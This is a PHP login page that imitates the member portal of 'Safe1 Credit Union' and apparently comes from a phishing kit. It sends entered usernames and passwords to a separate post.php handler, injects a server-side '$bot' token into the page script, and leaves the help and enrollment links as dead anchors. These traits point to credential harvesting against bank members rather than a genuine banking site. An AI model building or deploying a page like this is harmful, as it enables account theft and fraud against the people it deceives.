<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Merriweather:wght@300;400;700&family=Nunito+Sans:wght@300;400;600&display=swap" rel="stylesheet">
    <title>Safe1 Credit Union</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --blue:         #1b3a6b;
            --blue-mid:     #224488;
            --blue-light:   rgba(27, 58, 107, 0.07);
            --gold:         #f0a500;
            --gold-soft:    rgba(240, 165, 0, 0.12);
            --text-primary: #0f1f3d;
            --text-secondary: #3a5080;
            --text-muted:   #7a90b8;
            --border:       #d4dce8;
            --bg:           #f3f6fb;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Nunito Sans', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--blue);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 15% 85%, rgba(240,165,0,0.2) 0%, transparent 65%),
                radial-gradient(ellipse 45% 40% at 85% 10%, rgba(240,165,0,0.08) 0%, transparent 60%);
            pointer-events: none;
        }

        /* Shield/hex pattern texture */
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.06; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--gold); }

        /* Safe icon */
        .safe-art {
            position: relative; z-index: 1;
            margin-bottom: 52px;
            width: 68px; height: 68px;
        }
        .safe-art svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 600;
            letter-spacing: 0.2em; text-transform: uppercase;
            color: var(--gold); margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'Merriweather', serif;
            font-size: clamp(24px, 2.6vw, 38px);
            font-weight: 400; line-height: 1.3;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .login-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .login-logo { margin-bottom: 40px; }
        .login-logo img { height: 48px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 30px; }
        .login-heading h1 {
            font-family: 'Merriweather', serif;
            font-size: 24px; font-weight: 700;
            color: var(--text-primary); margin-bottom: 7px;
            letter-spacing: -0.01em;
        }
        .login-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 600;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 8px;
            font-family: 'Nunito Sans', sans-serif;
            font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #b0bdd4; font-weight: 300; }
        .field input:focus {
            border-color: var(--blue);
            box-shadow: 0 0 0 3px var(--blue-light);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label {
            display: flex; align-items: center; gap: 10px;
            font-size: 13.5px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--blue); border-color: var(--blue);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 8px;
            font-family: 'Nunito Sans', sans-serif;
            font-size: 15px; font-weight: 600;
            letter-spacing: 0.02em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 26px;
        }
        .btn-signin:hover {
            background: var(--blue-mid);
            box-shadow: 0 4px 18px rgba(27,58,107,0.28);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* Gold accent bar under button */
        .gold-bar {
            height: 3px;
            background: linear-gradient(90deg, var(--gold), rgba(240,165,0,0.2));
            border-radius: 2px;
            margin-bottom: 26px;
            margin-top: -22px;
        }

        /* ── Footer links ── */
        .login-links {
            display: flex; flex-direction: column; gap: 12px;
            padding-top: 20px; border-top: 1px solid var(--border);
        }
        .login-links a {
            font-size: 13.5px; color: var(--blue);
            text-decoration: none; font-weight: 400;
            transition: color 0.15s; opacity: 0.75;
        }
        .login-links a:hover { opacity: 1; text-decoration: underline; }
        .login-links a::after { content: ' →'; font-size: 12px; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <!-- Hexagon grid -->
            <g fill="none" stroke="white" stroke-width="1">
                <polygon points="80,60 110,43 140,60 140,94 110,111 80,94"/>
                <polygon points="140,60 170,43 200,60 200,94 170,111 140,94"/>
                <polygon points="200,60 230,43 260,60 260,94 230,111 200,94"/>
                <polygon points="260,60 290,43 320,60 320,94 290,111 260,94"/>
                <polygon points="320,60 350,43 380,60 380,94 350,111 320,94"/>
                <polygon points="110,111 140,94 170,111 170,145 140,162 110,145"/>
                <polygon points="170,111 200,94 230,111 230,145 200,162 170,145"/>
                <polygon points="230,111 260,94 290,111 290,145 260,162 230,145"/>
                <polygon points="290,111 320,94 350,111 350,145 320,162 290,145"/>
                <polygon points="80,162 110,145 140,162 140,196 110,213 80,196"/>
                <polygon points="140,162 170,145 200,162 200,196 170,213 140,196"/>
                <polygon points="200,162 230,145 260,162 260,196 230,213 200,196"/>
                <polygon points="260,162 290,145 320,162 320,196 290,213 260,196"/>
                <polygon points="320,162 350,145 380,162 380,196 350,213 320,196"/>
                <polygon points="110,213 140,196 170,213 170,247 140,264 110,247"/>
                <polygon points="170,213 200,196 230,213 230,247 200,264 170,247"/>
                <polygon points="230,213 260,196 290,213 290,247 260,264 230,247"/>
                <polygon points="290,213 320,196 350,213 350,247 320,264 290,247"/>
            </g>
        </svg>
    </div>

    <!-- Safe / vault icon -->
    <div class="safe-art">
        <svg viewBox="0 0 68 68" fill="none" xmlns="http://www.w3.org/2000/svg">
            <rect x="6" y="10" width="52" height="46" rx="5" fill="rgba(255,255,255,0.08)" stroke="rgba(255,255,255,0.2)" stroke-width="1.5"/>
            <circle cx="34" cy="33" r="13" fill="none" stroke="rgba(240,165,0,0.6)" stroke-width="1.5"/>
            <circle cx="34" cy="33" r="7" fill="none" stroke="rgba(255,255,255,0.3)" stroke-width="1.5"/>
            <circle cx="34" cy="33" r="2.5" fill="rgba(240,165,0,0.8)"/>
            <line x1="34" y1="20" x2="34" y2="26" stroke="rgba(240,165,0,0.6)" stroke-width="1.5" stroke-linecap="round"/>
            <line x1="34" y1="40" x2="34" y2="46" stroke="rgba(240,165,0,0.6)" stroke-width="1.5" stroke-linecap="round"/>
            <line x1="21" y1="33" x2="27" y2="33" stroke="rgba(240,165,0,0.6)" stroke-width="1.5" stroke-linecap="round"/>
            <line x1="41" y1="33" x2="47" y2="33" stroke="rgba(240,165,0,0.6)" stroke-width="1.5" stroke-linecap="round"/>
            <rect x="56" y="22" width="6" height="6" rx="2" fill="rgba(255,255,255,0.15)" stroke="rgba(255,255,255,0.2)" stroke-width="1"/>
            <rect x="56" y="38" width="6" height="6" rx="2" fill="rgba(255,255,255,0.15)" stroke="rgba(255,255,255,0.2)" stroke-width="1"/>
        </svg>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Member Portal</div>
        <h2>Making better todays<br>and greater tomorrows.</h2>
        <p>Sign in to manage your accounts, transfers, and statements — serving Kern Valley since 1952.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="login-card">

        <div class="login-logo">
            <img src="res/img/logo.png" alt="Safe1 Credit Union Logo">
        </div>

        <div class="login-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options">
                <label class="check-label">
                    <input type="checkbox"> Remember me
                </label>
                <label class="check-label">
                    <input type="checkbox"> Use token
                </label>
            </div>

            <button type="submit" class="btn-signin">Sign in</button>
            <div class="gold-bar"></div>

            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>